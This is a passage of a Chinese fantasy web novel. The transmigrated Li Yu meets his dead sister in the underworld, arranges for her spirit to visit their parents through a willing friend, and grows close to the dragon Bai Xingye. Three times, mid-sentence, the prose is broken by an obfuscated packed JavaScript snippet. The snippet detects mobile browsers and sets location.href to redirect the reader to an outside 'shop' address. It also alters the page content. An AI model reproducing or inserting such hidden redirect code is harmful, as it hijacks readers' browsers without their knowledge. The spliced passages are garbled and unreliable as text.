“家里一切都好,只是我看得出来他们很想你,东院的一切都保持着你生前的样子,娘之前还跟我提到你了。” 李惠面上不显,可李钰看到她的手不自觉地颤抖了一瞬。 李钰便将他娘之前说的都复述了一遍,“……爹娘的床头现在都还挂着你绣的并蒂花,保存得很好,色泽都没有陈旧。” 听到此处,李惠再也忍不住,顾不上世子妃的颜面,眼泪如断了线的珠子一样落下。 在穿过来后,李钰和李化、木若菱这样的父母相处不过短短一年,都已经感情深厚,何况是李惠这样从小在父母膝下娇养着长大的女儿。 他也感同身受似的红了眼框,“你如今是楚江王世子的世子妃,要是想爹娘为何不去探望他们呢?” 李惠偏头不语,拿着手绢擦眼泪。 白行野帮忙解释道:“若是寻常的鬼魂人前出现也好托梦也罢,也大都无人管束。可阎王世子的妻子身份不同,有阎王家眷这层身份在,没有特殊原因,是不敢做出超出阴阳界限这等不合规矩的事的。就跟六郎做了土地神以后也不能轻易在人前出现,只能在他的地界上给许方托梦,你也只能在我的带领下去见他,地府的规矩也是如此。” “竟然是这样。”李钰明白了,歉疚道,“对不起世子妃,我不清楚情况。” “没事,你一个凡人哪里知道这些?”李惠放下了一开始的高傲,多了些亲近,“我只要知道爹娘一切都好就行。” 李惠又问了许多爹娘日常的小事,李钰都老老实实地一一答来。说到最后李惠也收起了伤心,听到那些日常小事,似乎也想起了自己当年承欢膝下的快乐时光。 他们聊了许久,白行野也在旁边认真听着,时不时露出浅淡笑意,许多事情他也知道,也是在这一点一滴的相处中,感受到了诸多他过去未曾体验过的人间温情。 直到李钰实在想不到还有什么可讲的后,李惠才想起让他喝点茶水,李钰没敢喝,怕喝了阴间的水影响自己顺利回阳间。 见李惠如此思念在阳间的父母,李钰思虑再三问道:“若是实在想念爹娘,能否也像我这样借别人的身体去人间呢?如果是用的别人的身体,不显现你的本貌,是不是就不算坏了规矩?” 李惠闻言一顿,说白了就是上身,倒是有些地方神常以上身这样的形式向信徒传话,“……这样的办法,我竟从未想过!” 听这话的意思,此法似乎可行?李钰立刻道:“我曾听娘说过,你与赵家小姐感情甚笃,若是你书信一封说明缘由,我再带信去请求她借你身体一用,可行吗?或者姐姐如果不嫌弃我是男身,用我……用李珠儿的身体也行。” 李惠沉吟片刻,仿佛下定决心一般,“好,借用人身且是得到别人的同意的话,应当不算犯禁,我这就去写信。” 看来还是看不上男子身体,不过李钰还是很高兴,爹娘要是能再见到女儿,肯定会很开心的。 李惠去了另一间房准备,只留李钰和白行野在此等候。李钰又向白行野确认,“这种方法没有问题吧?” “算是钻了个空子,如若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186629|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么问题,楚江王自会阻止,不过楚江王都让你来见李惠了,我看他倒不是那般不近人情的人,应当是没什么大碍的。” 白行野说话李钰总是信服的,又问:“那赵家小姐要是同意惠姐上她的身,对她没影响吧?” “放心,就那么一时半会儿的不会有事,大不了我再去取点补阳益气的药材给她。” “不用不用,这些自然是让我爹娘去送,哪还让你操心?” 白行野扬眉勾唇,“自然,让我操心的另有其人。” 听出他话里的调侃,李钰也不好意思,但依旧嘴硬地说:“我这也是无辜受累,飞来横祸呀!可塞翁失马焉知非福,你看若不走地府这一遭,我还不知道我这姐姐居然当上楚江王的儿媳了。” “你怎么都有理。” 两人又贫了几句嘴,就见李惠拿着两封信回来了。她将信递到李钰手中,郑重又期待地说:“那就拜托你了。” 李钰承诺道:“一定带到。” “你们在地府中呆得太久了,再不回去恐怕爹娘就要担心了,我送你们出去吧。” 两人跟在李惠身后,李钰抓紧机会将地府宫中的美景收入眼里。虽然这里天色不太好,可这昏黄的色调可并不影响雕栏玉砌、碧瓦朱墙的华美景致。 走出宫门,两人就向李惠告辞,白行野化出龙身,让李钰骑上去。李惠也没想到会看到这样一幕,威风凛凛的银龙,低头伏身任人骑在他的脖颈上,李钰还一上去就不客气地抓住银龙的鬃毛。 看来她这弟弟与这条小龙关系是真的挺好。 银龙腾空而起,坐在他身上的李钰忽然回头,一边对李惠挥手,一边大声喊道:“姐姐,下次再见!” 李惠不自觉地露出笑意,她缓缓抬起手,轻声道:“再见。” 一龙一人乘风而行,李钰俯瞰着地狱中的场景,这才发现活大地狱之上,处处是刑场!他看到了红得发黑的脓血湖,布满尖锐铁叉的处刑场,寒风如刀的极寒深渊,甚至还有充斥着污秽之物的粪池……直把李钰看得心惊肉跳,龇牙咧嘴,更别提身在其中受刑的鬼魂们了。 他收回目光,将头埋进银龙鬃毛里。白行野似有所觉飞得更快了,等李钰再度抬起头,他们已经离开了地府。 “哎,真是无妄之灾,还好我不用受刑。”李钰长舒一口气。 白行野想起这事也气,“也就是我不在,才让你被他们带走,若真让你受刑,我定掀翻普明宫!” 想到白行野此前硬闯普明宫的行为,李钰还是心有余悸,更对白行野的实力有了大大的期待,“你怎么连普明宫都敢闯?你打得过楚江王?” “……打不过,那可是阎王!”银龙扭过头来,显然对李钰能问出这样的问题很是意外,“你以为跟青蛙神那种小地方神一样?我在他们面前也就是只妖龙罢了。” 白行野蔫头耷脑地说完,一直以来的傲气,在直面了真正的神官后,不免还是有些泄气,此前他那番做派一方面是关心则乱,另一面就不过是逞强罢了。 李钰才是被狠狠惊到,“那你还敢硬闯?!” 银龙有些不耐地扭扭身,“总之,最后也没事,大不了让我师父兜底。” 真是个好徒弟。 李钰又无语又开心,心里像是被什么东西塞得满满当当的。他伸出双手抱住银龙的脖子,凑近白行野耳边说:“谢谢你行野,你对我太好了。” 白行野小鹿似的耳朵忍不住抖动了一下,很快恢复了平常。 他“嗯”了一声,不再说话。 李钰憋着笑,这样也挺好,哪怕他只能活几十年,但能有白行野的陪伴,一切又有何可惧? 46.佳音至 “爹、娘,我回来了!”李钰大叫道。 而二老见白行野回来,急忙问道:“贤侄,我儿呢?” 李钰这才想起他如今还只是个魂,爹娘怎么看得到? 只有詹贵儿已经跑到他身前,一个劲儿地叫“哥哥”。 白行野言简意赅,“伯父伯母放心,他回来了。” 说罢,他立刻牵着李钰进入房内,李钰只觉得自己的魂魄和身体互相牵引,一进房间就被一股无形的力量拉回了身体中。 他睁开眼睛,立刻坐了起来,没成想这一起才发觉身体异常沉重,差点没起来!怪不得都说身体是困住灵魂的牢笼呢。 “儿子你回来了?你真的回来了!”木若菱立刻扑过来,抱住李钰就大哭了一场。 李化紧跟其后,死死将妻儿一起搂进怀里。 李钰被勒得生疼,但他也理解,哪对父母能承受三次儿女的离开?儿子还死了两次。 就是二老抱他抱得太久了,他艰难抬手拍拍两位的背,又看向白行野,气若游丝地说:“白行野,救我。” 白夜野在一旁哭笑不得,不得不上前拉开了伯父伯母,不然李钰都要背过气去了。 李化和木若菱这才放开李钰,木若菱语带责备,“你这孩子真是不让人省心,要不是有白贤侄救你,看你怎么办?我和你爹都担心死了。” 听木若菱这样说,李化这才想起还没谢过白行野,连忙起身拉着白行野一通夸赞和感谢,“贤侄啊,你救了我儿这么多次,我实在都不知如何谢你了!若我儿是个女儿就好了,我一定让他以身相许!有你在他身边,我也才安得下心来啊。” “……爹,你说什么呢?”李钰无语。 白行野似笑非笑地看了他一眼,又安抚了两位老人好几句,才说:“阿钰刚从地府回来,魂魄不稳,还需要多休息,这几日就让他呆在家里静养吧。可以给他弄些清淡的吃食,他的魂虽然不饿,可这身体也饿了一天。” 木若菱来了精神,“我这就叫人做饭去,儿子你好好休息,可不要费神,好好躺着啊。” 说完,她就将李化连拖带拽一并带走,边走边说:“别打扰我儿子休息。” 詹贵儿见状也懂事道:“哥哥你好好休息,我阴气重,最近两天呆在你身边恐怕不好,我等你好点再来看你。” 李钰刚想说自己没事,詹贵儿已经一溜烟飘走了。 “怎么一回来把我当瘟神似的。”李钰摇摇头,又看向白行野,“你怎么不走?不是说要我静养吗?” 白行野不但没走,反而在他床边坐下,把李钰按下去让他躺好,又给他捏了捏被角,这才说:“我又没说话,我走什么?” 李钰缩在被窝里,只露出两个眼睛,声音闷闷的从被子里传来,“你刚刚当着我爹娘的面叫我什么?” 白行野勾起唇角,“阿钰啊,你们表示亲近不都喊小名吗?你又不喜欢被叫珠儿,你不是也都喊我行野?” “还挺会说。”李钰想这小龙在人间确实越来越适应了。忽然他又想起一件事,他闻了闻自己的身体,“我去地府,阳间有几天了?” “也就一天一夜。” 李钰又准备爬起来,被白行野拦住,“你又要干嘛?” 只听他支支吾吾地说:“我、我的身体没臭吧?” “放心,走之前我给你吃了稳固身体的药,能保持最新鲜的状态。” 原来之前在望乡台看到白行野给他喂的药,是这种药啊。李钰安心躺下,笑骂道:“什么最新鲜的状态?说的是人话吗?” “我也不是人啊。”白行野不以为意。 李钰服了。 白行野摸了摸他的额头,轻声道:“睡会儿吧,你确实要好好休息。” 感受着他手上的温度,李钰点点头,很快就意识模糊了。 接下来李钰真是大睡了两天,他这才知道原来魂魄离体再回来,身体确实会变得虚弱。他明明还有重要的事情要跟爹娘说,但是整日都迷迷糊糊,提不起精神,只得先压下遇到李惠的事,准备等自己彻底清醒了,再好好跟爹娘交代。 等李钰刚恢复精神,立刻就到爹娘跟前,严肃地将在地府遇到李惠的经过和盘托出。此事即使再惊世骇俗,也因为李钰“两次离魂”的奇妙经历,让二老不得不信。 李钰又拿出了李惠写的信,一封是给赵家小姐的,另一封就是给父母的。 二老读完信,俱是老泪纵横,谁能想到快二十年过去了,居然还能再得到女儿的消息,甚至还有可能再见到女儿!木若菱擦干眼泪,带着给赵家小姐的信,又取出上好的补品和新进的昂贵布匹就出门了。 大概是因为信件中,除了字迹对得上,还提了只有闺蜜两人才知道的事,赵小姐几乎没有犹豫地就答应了下来。木若菱感激涕零,说了许多肺腑之言,又送上准备好的礼品,赵小姐几次推脱不得,只能收下了礼物,权当是安木大娘子的心了。 接下来就需要靠白行野再去一趟地府,和李惠商量详细的安排了。 李化和木若菱则像是要接见皇妃一样,几日下来忙个不停,又是打扫整理整个宅院,又是派人修理花园,李化天天琢磨着要不要再加一些盆景或摆件。李钰也随他们折腾去,二老自己的宅子自己的钱,又是给女儿花钱花心思,他们开心就好。 而在这期间,白行野还带来了关于王彦的消息。原来在李钰回来后没多久,王彦也还魂了,好在是遵照习俗停灵七日,身体没有损毁。而王彦一醒来就看到自己在灵堂棺材里躺着,差点没刚醒过来又吓晕过去。 不过,他虽然也还魂了,可却比李钰惨多了,醒来的时候,下半身皮开肉绽,像是受了鞭刑。王彦家人甚感奇怪,明明在他醒来之前,尸身上都没有这些伤痕的!可王彦也不想提他在地府受刑之事,于是他的家人也只能满头雾水地求医问药,给王彦好好养着。 白行野知道李钰定要好奇,又特意打听清楚了案子结果才来跟他说,原来此案罪魁祸首正是那个麻子脸,张二狗! 那张二狗和卫家父女同住一个村,卫东死后是村里人帮着小姑娘草草葬了的,所以整个村都知道卫家就剩这么一个小丫头了。这时,张二狗就出现了,他打着叔父的名义强占了卫家的房子和田产。因其是村里出了名的泼皮无赖,浑事做过不少,还认识许多跟他一样的闲汉,村民就算看不惯,也没人愿意站出来管这个闲事,连村长都闭门不出,只作不知。 张二狗抢田抢地不说,担了叔父的名头,却还不愿意给小姑娘一口饭吃,强行将卫霜儿到市集上便宜卖掉。那小姑娘虽然悲愤交加,但也知道自己就算被卖掉,肯定也比在张二狗手上讨饭吃要好,于是当日还是乖乖跟着王彦家的人走了。 而张二狗被拘魂到地府后,一通审讯和拷打下来,恶行昭述。当着苦主卫东的面,即刻就被投入了抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188548|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋地狱受刑,后面还有更多的酷刑等着他,当然,他也根本不可能再还魂了。 王彦虽然洗脱了强抢民女,逼良为奴的罪名,可是明知买卖有异常,还是贪图便宜买走小姑娘。因此也同样受到处罚,不过至少是还阳了,至于伤势,只能日后慢慢养了。 不过这事现在闹得是满城风雨,先前城里本就出过一个死而复生的李家少爷,没想到死了快两天的王家少爷居然在灵堂“诈尸”!他家办丧事许多人都知道,亲朋好友、街坊邻居来吊唁的人不少,“诈尸”现场可是不少人见证。当王彦从棺材里坐起来时,人们都吓得四处逃窜,还是他妻子上前仔细辨认,才知他竟然是还了魂!如今街头巷尾全在说这事,说得有鼻子有眼,就跟都是亲眼所见似的。 万幸白行野去地府前特意嘱咐过李家人,对外都说的是李钰最近病了,不然恐怕又要掀起新一轮的风波。 白行野还给李钰吃了稳固尸身的药,死了两天的王彦却没有这东西。虽然被他拖下水这件事让李钰生气,可他又有白行野相救,还见到了姐姐李惠,从某种角度上来讲,还算是王彦给了他这个机缘。 于是李钰备上了好酒好菜求了白行野,让他去瞧瞧王彦。若他身上有什么腐败之处,看能不能治治,至于那些该挨的刑罚伤痕就不用管了。 白行野本不想管他,李钰软磨硬泡又说些要积功德的话,把白行野烦得只能跑一趟王家,照李钰说的处理了。 王家人感激不尽,王彦却有些不好意思,等到白行野要走的时候才叫住他,诚恳地让他替自己向李钰表达歉意,还说等他好了一定亲自去请罪。 白行野这才又跟他多说了一会儿,询问了那小姑娘现在的情况。 原来王彦回来后,看卫霜儿在面前伺候也不舒服,不敢随意差遣更不敢赶出去。于是叫人去帮卫霜儿和村里的族老交涉,反正张二狗已死,房子田产很快要了回来。他还给了些银钱,拜托卫家隔壁的邻居多多照应卫霜儿。 为贪一点便宜受了如此多苦,还费了许多钱财,王彦悔不当初,下决心再也不贪便宜了。 李钰在家听白行野平铺直叙地诉说事情经过,倒也跟听故事一样津津有味。就这样,他呆在家中一边静养,一边等待李惠的到来。 如此,半月后的一天晚上,李家父母屏退下人,在李惠原先的东院里焚香等候。赵家小姐也已经到了,此时就坐在以前李惠房里的卧榻上,由她母亲和木若菱陪同。 前些天赵小姐家人还有些担心,李钰又亲自上门说明了可保赵家姐姐无虞,且在赵小姐的一再坚持下,他们家人才松口,只是她母亲赵家大娘子还是陪着一起来了。 而李钰父子和白行野则在院门处等待,今晚有赵家人在,詹贵儿怕吓着人,隐匿了身形也在一旁期待地望着。 夜凉如水,明月高悬,在李惠曾经住过的精致小院中洒下一层朦胧的光辉。 一片安静中,白行野忽道:“来了。” 李钰父子赶紧四处张望,“哪呢哪呢?” 而詹贵儿已经捂着嘴,呆呆地看向院门前方。 白行野拉着李钰父子俩退到一旁,好像在避让人群,他朝前点了点头,可李化和李钰什么都没有看到,只觉得清风浮动带着一丝特别的香气。 但他们也明白,是李惠到了。 李化虽没有看到人,但已是泪如泉涌,口里低喃道:“小惠,小惠是你来了吗?” 47.圆月 可李化没有听到回答,过了一会儿却听到房内传来木若菱的哭声。几人立刻走进房中,只见赵家小姐埋在木若菱怀中也已经泣不成声,看来此时李惠已经上了赵小姐的身了。 “我的儿,你怎么这么狠的心?这么多年都不来看看为娘啊!”木若菱嘴上说着责备的话,但是手却轻轻拍着李惠的后背。 李惠好不容易收住哭意,道:“女儿不孝,实因阴阳本应相隔,又有身份之故无法轻易现身,如今得了弟弟提点才有机会来探望二老。” 李化迈步上前,“真的,真的是小惠吗?” 听到父亲的声音,伏在母亲肩头的李惠抬起头来,看到李老爷子,刚收住的泪水又决堤,凄声道:“爹,是女儿啊!” 她站起身来,向李化福身行礼,“女儿回来看您和娘亲了。” 李化激动不已,但面对赵小姐的面貌,也只能克制地伸出手虚抬了一下,让女儿快快起来,嘴里不住地说:“回来就好,回来就好……” 李钰从前总认为李化是个十分健谈的小老头,可现在看他面对女儿满眼的思念和关心,却只能说出这四个字,心里一时也十分不是滋味。 木若菱拉住李惠的手,给她指房间的陈设,“你看,这里还是以前的样子,花瓶里的花也是你最喜欢的牡丹,都是今天刚采得的。” 随着木若菱的话,李惠四处走走看看,好像也在回忆曾经在人间的住处,她抚上牡丹花,低头深深地嗅闻,又转头问木若菱,“娘,我以前最喜欢的那床绿锦被还在吗?被烛花烫了一个豆粒大的小洞的那床。” “在的在的,我都收着的。”木若菱说着就走到一旁,打开柜子将绿锦被抱了出来,放在床上。 李惠坐过去,在被面上细细找着,指着这上面的一个小洞道,“就是这个,还是我小时候半夜不睡想看书,将蜡烛拿在手上才烫了的。” “你小时候懂事的时候多,但一调皮起来就吓得我不行,就这在床上点蜡烛的事,开始还瞒着我不让我知道,后来还不是被发现了。”木若菱也想起了往事。 李惠莞尔一笑,靠在床架边,用手托着下巴跟木若菱和李化又讲了一些童年的趣事。夫妻俩看着赵小姐,做着女儿习惯性的动作和表情,说着他们一家人才知道的往事,刚刚还有些恍如梦中之感,这下彻底确信了,眼前就是他们二十年未见的孩子。 忆完往昔,李惠又讲起了自己现在是楚江王世子的妻子,世子对她很好,夫妻和睦,生活也是锦衣玉食,除了思念父母,平日里并无烦忧,让父母不要为她担心。 李家夫妇连连点头,李化道:“只要知道你过得好,没有再受病痛之苦,我和你娘就能放心了。” “还有一件喜事要告知你们。”李惠笑盈盈地说,“女儿受了父母养育之恩,却未曾能回报分毫,夫君也感念父母之恩,特此请了百年长寿之命给二老,往后尽可安度晚年。” 此话一出,不仅是李化和木若菱大为感动,李钰也非常高兴,因为此时的二老也快六十了,放古时候算高龄了,如今有姐姐这番话就可放心了。 夫妻俩和李惠相谈至深夜,可天下没有不散的筵席,李惠终是叹了一口气,起身拜别父母,“此次前来相见已是不合规矩,只这一面为解思念之苦,请父亲母亲往后珍重自身,再不必挂念女儿。” 能得此相聚,已是千载难逢,夫妻俩岂能不知?即便再不舍,为了让女儿安心,也都只能强忍泪水,点头道别。 李惠像是才想起来她还有个弟弟,她看了李钰一眼,李钰立刻上前,“姐姐还有什么要交代的?” 她露出和初见时极为不同的温和的笑容,柔声说:“好弟弟,你会是个有福气的,往后父母就要倚仗你了。” 这是彻底认可他这个弟弟了,李钰一脸郑重道:“我定会照顾好爹娘的。” 李惠点了点头,“好。” 告别完家人,她来到赵娘子身前。赵娘子今晚也被这难以置信的场景深深震撼了,看到这家人相聚的感人场面,也几次忍不住偷偷抹泪。李家惠娘当年也是与她家女儿一同长大的,怎能不动容? 李惠拜谢赵娘子,由衷感谢道:“伯母,多谢你们能圆我一家团圆梦,只可惜不能与玲儿相见,请代我转告谢意。” 说完,她坐回榻上,最后深深地看了父母一眼,终是闭上了眼睛。 赵娘子赶紧过去扶住女儿,赵小姐再次睁眼,眼里全是懵懂,见着满屋的人,疑惑地问她娘,“小惠呢?” 这时,她忽觉手心有异,摊开手一看,一支精致得不似凡间物的莲花簪静静躺在手心,这是她儿时最爱的花。赵小姐握紧莲花簪,心下了然,眼里已经饱含热泪,喃喃道:“是她,是小惠……” 看来姐姐已经走了,李钰出了房门向外望去,正如姐姐来时那样,外面只是微风轻拂,没有一个人。 白行野拍了拍他的肩,李钰回头看他,只见白行野勾唇不语,伸出手指了指天边。 李钰立刻顺着方向看过去,月下云间,一列队伍正在奔向远方。他不由往前走了两步,只见那队伍中有一驾华美的车辇,上面坐着一男一女,高大的男人身旁正是姐姐李惠。 原来姐夫也有来,姐姐身边也有她的家人了。 李惠似有所感,回过头来看到了李钰,她盈盈一笑,微微抬起手向李钰招了招。 李钰立刻挥舞双手向她作别,他轻轻说道:“照顾好自己,姐姐。”他不断挥手,那一列队伍渐行渐远,直至湮没在朦胧夜色中。 “也不知道以后还能不能见到姐姐?”李钰放下手,自言自语。 “你想见,我带你去便是。”白行野在一旁接话。 李钰看他说得轻巧,压低声音说:“这是不是不合规矩?而且老是去地府感觉有点怪怪的。” 白行野也轻声回复道:“我们可以悄悄地去,偶尔才去。” 李钰噗嗤一笑,又看向天上的那一轮白璧般的圆月。 今晚的月色真美。 话说李家人一夜团圆后,李化和木若菱二老日日春光满面,知道自己女儿如今过得好,既不用像生前那般受病痛折磨,还成了地府二殿王世子的世子妃。放下了这桩心事,即便往后恐怕再难相见,二老也已心满意足,对帮了自己圆梦的白行野更是信任和感谢,也更疼爱总是“遭罪”的李钰了。 李钰经历了这遭,则是整个人又懒了下来,以养身体的名头,暂时不去各个铺子上了。天天抱着话本子赖在白行野房里不走,鸠占鹊巢地霸占白行野的床,悠哉悠哉地躺在上面翻看话本,不时露出痴笑。还美其名曰,看书就话少,免得打扰白道长修行。 白行野只能在罗汉榻上打坐修炼,可房中还有另一人,即便是白行野,也难时刻保持静心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190463|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再一次听到床上传来李钰咯咯咯的笑声,白行野无奈轻叹,甚是疑惑,怎的如今自己越发难以专注了? 想不明白,他就拿那双漂亮的凤眸去瞪罪魁祸首,然而李钰压根没发现他这边的动静。 只见李钰斜倚在床上,头枕在被子和枕头搭起的靠背上,透窗洒下的和煦日光正好照在他的脸上和手中的书上,此时的他正看书看得入神,姿态随意松弛,好不惬意。 李钰此人,颇有些男生女相,轮廓虽然分明可五官却是精致得不似男子。一双圆滚滚的杏眼,透着小动物一样的好奇和探寻,因为专注于话本,双目低垂,长而密的睫毛像两把小扇子在眼下投下小片的阴影。鼻梁窄挺却有着小巧圆润的鼻头,唇线也柔和,因为看书时受到的情绪牵动,时而抿紧时而微张。 白行野突兀地想起当初王子服痴望三狐女时的场景,此时此刻的他自己,好像也有些明白知慕少艾的意思了。 要说李钰,确实长得很合他的心意,可这副皮囊也是李珠儿的,原本的李钰是长什么样的呢?白行野心思飞远,幻想着李钰原本的长相,想了半天发现对于他一条龙来说,好像人的长相也不是特别重要。 只要那人是李钰,那一切都是好的。 “朝游篷岛暮苍梧,袖里青蛇胆气粗;三至岳阳人不识,吟诗飞过洞庭湖。” 李玉摇头晃脑地念着诗句。 “又念的什么诗?”白行野走过去坐到床边,身体靠在立柱上,上半身偏向李钰去看他手中的书,从外看就像把李钰半环抱在怀里一样。 见他过来,李钰瞅了他一眼,又将眼神移到书上,抿嘴偷乐。 白行野见他这副模样,伸手就去拿他的话本,李钰眼疾手快地护住书,“干什么干什么?哪能直接上手抢的?桌上那么多书,你自己找来看啊。” “就想看看你看的什么?笑个不停。” 李钰把书合上,把面上的名字给他看。 “八仙出处,东游记?”白行野把书名念了一遍。 “对呀,讲的八仙的故事,自然有你师父的事。”李钰狡黠一笑,“我刚刚念的就是你师父在岳阳楼上题的诗,怎么?你没听过?” “没听过。”白行野来了点兴趣,“人间还有讲我师父的书?” 李钰冲桌上的书堆努了努嘴,“那是自然,现在这些神魔小说很是受欢迎的,你看那桌上摆的,还有讲华光天王、真武大帝的。最著名的是《西游记》,讲唐僧师徒西天取经的故事,孙悟空,你知道吧?” 白行野点点头,若有所思,“原来人们对神仙的故事这么感兴趣啊?” “所有人都对自己不了解的世界感兴趣,妖族修炼想要成仙,不也是对成仙后的世界感兴趣吗?”李钰理所当然道。 “有道理。”白行野敷衍了一句,便迅速从李钰手中抽走了书。 “诶,你这人……”李钰作势要起身,被白行野轻轻一按又躺了回去。算了,他也不是不愿给白行野看,只是想逗他,既然已经被拿走了,他就又从枕头下摸出本别的翻开,由着白行野去了。 白行野粗略地翻看着《东游记》,快速找到写吕祖的部分,颇有兴味地看了起来。然而越看他的眉心越是紧蹙,猛地将书往床上一拍,只见他面色泛红,不是羞意而是恼怒。 “这都什么东西!你就看这些笑这么开心?” 48.当下 “怎么啦?”李钰莫名其妙,把书拿起来一看,翻到被白行野拍皱的那一页,正是《洞宾调戏白牡丹》这一回目。 原来是看到了自己师父的风流韵事,李钰哈哈大笑,“这有什么?这里面写的吕祖本就是最具有人性的神,他这样的神仙才有意思呢。” 白行野脸上带着染了薄怒的微红,“这简直是胡编乱造!我师父是喜欢人间、喜欢四处游历,但绝不是这样这样……” 李钰见他真有些生气,一骨碌爬起来,膝行到床边拉了拉白行野的袖子,用他自己都没意识到的撒娇语气道:“哎呀,这本就是作者杜撰的故事而已,也是因为你师父明明是个神仙,却同时具有人性和神性,民间人们都觉得他特别亲切,遇到什么问题都愿意求他,拜他的人也可多了。” 到我们那个时代都有吕祖庙,各个道观供奉吕祖的都也不少呢。 白行野又非是生李钰的气,见李钰抬脸看他,温言哄他,那副模样更让人生不起气了。他撇过脸去,逃避似的又从桌上拿了本《西游记》,才又坐回原位,一边翻一边说:“算了,既然我师父都不生气,我有什么好气的。” “白道长就是大度,有高人风范!”李钰立刻顺杆爬,忙拍马屁。 白行野忍不住笑了,轻轻敲了敲他脑袋,“你少学伯父说话。” “那你也别把我当小贵儿,怎么还打人脑袋的?”李钰装疼,揉了揉额头。 “这也叫打?”白行野无奈地握住他的手,亲自上手给他揉了揉。 两人又笑闹了一会儿,才趁着日光好,又各自看起话本来,时不时针对各自看的书中的人物、情节说道一二。 “孙悟空那般厉害,去了天庭居然也只能当个弼马瘟。” “玉龙三太子,身为西海龙王之子,都只能给唐僧当个坐骑呢。” 白行野摇摇头,“天道不公,我等妖物即使修炼成神仙,却也只能做这样的事,倒还不如我现在自由自在,还能跟你一起时不时管管闲事。” “那是给你积功德,怎么就叫管闲事了?”李钰反驳道,但他没有反驳白行野前面的话。在李钰上一世浅薄了解的神仙体系中,确实很少见到在天庭特别有名的动物妖修成的神仙。就连龙这样的天生神兽,修成神仙了也顶多就到龙王级别,有了天庭敕封才能行云布雨,护佑一方,说起来竟和土地、城隍这类地方神祇有些相似。倒不是说妖精修成的神仙不够厉害,但总归是不像人修炼成仙后,有那么多晋升空间。 李钰也不懂天庭的规矩,只能先劝慰道:“你别想那么多,你们修行之人不是最忌心智不坚吗?若是因为我给你看的这些话本,让你产生这样的怀疑,那我的过错可就大了。” “这些虽是话本故事,可事实也相差不远。就像我生而为龙,说好听点是神兽血脉,说不好听也不过就是大妖。你也知道我是从华山池中逃出来的,你可知华山池是何地?” 难得白行野主动提起自己的事,李钰立刻起身,正襟危坐地听着。 白行野道:“华山众峰的诸多潭渊,其实都是龙族居所,同时也是天庭困守龙族之地。同族之中,有的习惯那里的灵气滋养反倒是乐不思蜀,愿意长留于那处;有的却也有一番抱负,想要挣脱禁锢,遨游于天地之间。” 他沉默了一瞬,才又道:“我也是其中之一。” 之前在庄子上,听李化提起的小银龙被一个僧人收进金钵中,难道是当初他逃脱后,那人是来抓他的?李钰不免对后续的故事有些紧张,他问道:“那当时你被高僧抓回去了?” “那你如今怎么会见到我?”白行野笑道,“幸亏当日遇到的非是前来捉拿我的天兵天将,而是黄龙禅师,他与我师父有些往来,可能是知道我师父平素爱点化一些妖精,他带我去找了师父,后来更有幸被师父收为徒弟。” “师父曾说妖精一心向道比之人更是难得。我确实是想要修炼成仙,可终究不知修行到最后又能如何?或许只是被困得久了,想要到更宽广的世界看看有什么不同吧。” 李钰听得难过,白行野没有说他是如何逃出来的,但李钰知道,那时候还是一条小龙的白行野,想要逃出来必定很不容易。 见李钰垂下头,白行野握着他的手捏了捏,逗他道:“别不高兴,我只是觉得现在很好,说不定比真的成仙还好。要是像小白龙那样,遇到什么大仙、菩萨的转头被抓去当坐骑才难受。” 虽然李钰也骑过小银龙,可他却不想那么漂亮威风的小龙真就一直给人当坐骑,他急忙摇头道:“呸呸呸!不会的,你可是孚佑帝君的弟子,他们不敢的!” “是啊,若不是因为我是师父的徒弟。”白行野低声道。 “行野……” “你放心,若有朝一日我真能得道成仙,我就争取做这边河里的龙王,就还能在这儿一直陪着你。”白行野认真地说。 李钰的嘴角不可抑制的扬了起来,这条小银龙根本不知道他说这些话跟表白没有两样。 他现在几乎可以肯定,白行野也喜欢他。 但是……很快他的嘴角又耷拉下去,沉默半晌终是问出他最在意的那个问题,“可我要是死了呢?转世投胎到别的地方去了呢?” 白行野一愣,时间对于他来说是很漫长的,因此他常常忽略李钰的一生是很短暂的。 “南极仙翁那里有长生药水,我去向他求来,也能保你多活几百年。” “那我不成妖怪了?”李钰笑了。 “当妖怪有什么不好,我不也是妖怪?” 对于这个提议,若说不心动当然是假的!李钰扭捏地说:“南极仙翁那个药水恐怕不好求得吧?” 白行野下颚一扬,“那老头好东西那么多,一点药水算什么,他不给的话,我就去偷来。” 李钰忙伸手捂住他的嘴,白行野湿热的气息呼在他掌心,他叹了口气,“你可别去做这些事,万一被发现扣你功德就算了,要真给你降下什么惩罚我可担不起。反正我现在还年轻呢,咱们俩活在当下就好。” 说完他移开手,但白行野并没有回他的话。李钰眉心一跳,正色道:“我警告你,你可不许去南极仙翁那里偷,你带来了我也不喝!” 听他这么说,白行野只能无奈地点点头。 